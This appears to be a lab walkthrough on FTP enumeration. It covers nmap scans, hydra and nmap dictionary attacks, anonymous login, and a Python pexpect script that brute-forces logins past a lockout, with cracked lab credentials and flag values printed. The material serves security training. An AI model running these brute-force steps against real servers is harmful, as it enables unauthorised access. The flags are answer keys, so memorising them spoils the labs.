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FTP Enum

What is FTP?

FTP stands for File Transfer Protocol. It is a standard network protocol used for transferring files between a client computer and a server on a computer network. FTP is widely used for sharing files over the internet and within local networks. It provides a way to upload, download, and manage files on a remote server.

Here are some key features and aspects of FTP:

  1. Two-Part System: FTP involves two main components: the FTP client and the FTP server. The client is the software used by a user to connect to and interact with the server.

  2. Authentication: FTP servers typically require authentication, which involves providing a username and password to access the server. However, the standard FTP protocol sends login credentials in plain text, making it less secure. For enhanced security, protocols like FTPS (FTP Secure) and SFTP (SSH File Transfer Protocol) use encryption to protect sensitive data.

  3. Commands and Responses: FTP communication follows a command-response model. The client sends commands to the server to request specific actions, such as listing directories or uploading files. The server responds with messages indicating the success or failure of the requested actions.

  4. Modes of Transfer: FTP supports two modes of data transfer: active mode and passive mode. In active mode, the server initiates the data connection to the client, while in passive mode, the client initiates the data connection to the server.

  5. Directory Listing: FTP allows clients to view the contents of directories on the server, making it easy to navigate and select files for transfer.

  6. Binary and ASCII Mode: FTP provides two transfer modes: binary and ASCII. Binary mode is used for transferring non-text files (e.g., images, executables), while ASCII mode is used for text-based files to ensure proper line-ending conversions.

  7. Anonymous FTP: Some FTP servers support anonymous logins, allowing users to access public directories without requiring a username and password. This is often used for sharing public files, such as software updates or documentation.

  8. Extensions and Features: FTP has been extended over the years with various features like resuming interrupted transfers, managing file permissions, and creating directories.

  9. Limitations and Security Concerns: Traditional FTP lacks encryption, which can expose sensitive data and credentials to potential eavesdropping. This has led to the development of more secure alternatives like FTPS and SFTP.

FTP Enumeration

(File Transfer Protocol) - a client-server protocol used to transfer files between a network using TCP/UDP connections.

It requires a command channel and a data channel.

Default FTP port is 21, opened when FTP is activated for sharing data.

sudo nmap -p21 -sV -sC -O <TARGET_IP>

ProFTP Recon: Basics

Lab 1

🔬 ProFTP Recon: Basics

  • Target IP: 192.217.238.3

  • Enumeration of ProFTP server

ip -br -c a
	eth1@if170718   UP   192.217.238.2/24

  • Target IP is 192.217.238.3

nmap 192.217.238.3
	21/tcp open  ftp
nmap -p21 -sV -O 192.217.238.3
21/tcp open  ftp     ProFTPD 1.3.5a
[...]
Service Info: OS: Unix

📌 FTP server version is ProFTPD 1.3.5a.

FTP Anonymous Login

ftp - Linux Man Page

  • Try anonymous:anonymous login

ftp 192.217.238.3
# anonymous login failed

  • Use hydra with some users/passwords word lists to check if any credentials work with the ftp server

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.217.238.3 -t 4 ftp
[DATA] max 16 tasks per 1 server, overall 16 tasks, 7063 login tries (l:7/p:1009), ~442 tries per task
[DATA] attacking ftp://192.217.238.3:21/
[21][ftp] host: 192.217.238.3   login: sysadmin   password: 654321
[21][ftp] host: 192.217.238.3   login: rooty   password: qwerty
[21][ftp] host: 192.217.238.3   login: demo   password: butterfly
[21][ftp] host: 192.217.238.3   login: auditor   password: chocolate
[21][ftp] host: 192.217.238.3   login: anon   password: purple
[21][ftp] host: 192.217.238.3   login: administrator   password: tweety
[21][ftp] host: 192.217.238.3   login: diag   password: tigger
1 of 1 target successfully completed, 7 valid passwords found

📌 Found credentials are:

sysadmin:654321 rooty:qwerty demo:butterfly auditor:chocolate anon:purple administrator:tweety diag:tigger

echo "sysadmin" > users
nmap --script ftp-brute --script-args userdb=/root/users -p21 192.217.238.3
21/tcp open  ftp
| ftp-brute: 
|   Accounts: 
|     sysadmin:654321 - Valid credentials
|_  Statistics: Performed 23 guesses in 6 seconds, average tps: 3.8

  • Extract the 7 flags hidden on the server by logging in to the ftp server with each found user

ftp 192.217.238.3

ftp> ls
ftp> get secret.txt
ftp> exit

root@attackdefense:~# cat secret.txt
Reveal Flag - sysadmin flag is: 🚩

260ca9dd8a4577fc00b7bd5810298076

Reveal Flag - rooty flag is: 🚩

e529a9cea4a728eb9c5828b13b22844c

Reveal Flag - demo flag is: 🚩

d6a6bc0db10694a2d90e3a69648f3a03

Reveal Flag - auditor flag is: 🚩

098f6bcd4621d373cade4e832627b4f6

Reveal Flag - anon flag is: 🚩

1bc29b36f623ba82aaf6724fd3b16718

Reveal Flag - administrator flag is: 🚩

21232f297a57a5a743894a0e4a801fc3

Reveal Flag - diag flag is: 🚩

12a032ce9179c32a6c7ab397b9d871fa

VSFTPD Recon: Basics

Lab 2

🔬 VSFTPD Recon: Basics

  • Target IP: 192.119.169.3

  • Enumeration of vsftpd server

ip -br -c a
	eth1@if170803   UP  192.119.169.2/24

  • Target IP is 192.119.169.3

nmap 192.119.169.3
	21/tcp open  ftp
nmap -p21 -sV -O 192.119.169.3
21/tcp open  ftp     vsftpd 3.0.3

📌 FTP server version vsftpd 3.0.3

nmap --script ftp-anon -p21 192.119.169.3
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Dec 18  2018 flag
|_drwxr-xr-x    2 ftp      ftp          4096 Dec 18  2018 pub

📌 Anonymous FTP login allowed

ftp 192.119.169.3
# Use anonymous:anonymous to login
Name (192.119.169.3:root): anonymous
    331 Please specify the password.
Password:
    230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
ftp> get flag
ftp> exit

root@attackdefense:~# cat flag
Reveal Flag: 🚩

4267bdfbff77d7c2635e4572519a8b9c

Lab 3

🔬 VSFTPD Recon: Dictionary Attack

  • Target IP: 192.14.30.3

  • Dicotionary attack on vsftpd server

  • FTP server terminates the session after 3 attemps

ip -br -c a
	eth1@if170888   UP   192.14.30.2/24

  • Target IP is 192.14.30.3

nmap 192.14.30.3
	21/tcp open  ftp
nmap -p21 -sV -O 192.14.30.3
21/tcp open  ftp     vsftpd 3.0.3
echo "billy" > users

nmap --script ftp-brute --script-args userdb=/root/users -p21 192.14.30.3
21/tcp open  ftp
| ftp-brute: 
|   Accounts: 
|     billy:carlos - Valid credentials
|_  Statistics: Performed 78 guesses in 55 seconds, average tps: 1.5

📌 billy's password is carlos

  • A custom script to attemp the logins is required if automated dictionary attack do not work, since the server terminates the sessions after 3 login attempts.

  • e.g. python script:

nano billy.py
import pexpect
import sys
username=sys.argv[2]
password_dict=sys.argv[3]

# Loading the password dictionary and Striping \n
lines = [line.rstrip('\n') for line in open(password_dict)]

itr = 0
# Iterating over dictionary
for password in lines:
	child = pexpect.spawn ('ftp '+sys.argv[1])
	child.expect ('Name .*: ')
	child.sendline (username)
    print "Trying with password: ",password
	child.expect ('Password:')
	child.sendline (password)
	i = child.expect (['Login successful', 'Login failed'])
	if i==1:
		#print('Login failed')
		child.kill(0)
	elif i==0:
		print "Login Successful for ",password
		print child.before
		break
python billy.py 192.14.30.3 billy /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
Login Successful for  carlos

  • Fetch the flag using billy:carlos credentials

ftp 192.14.30.3

ftp> ls
ftp> get flag
ftp> exit

root@attackdefense:~# cat flag
Reveal Flag: 🚩

c07c7a9be16f43bb473ed7b604295c0b

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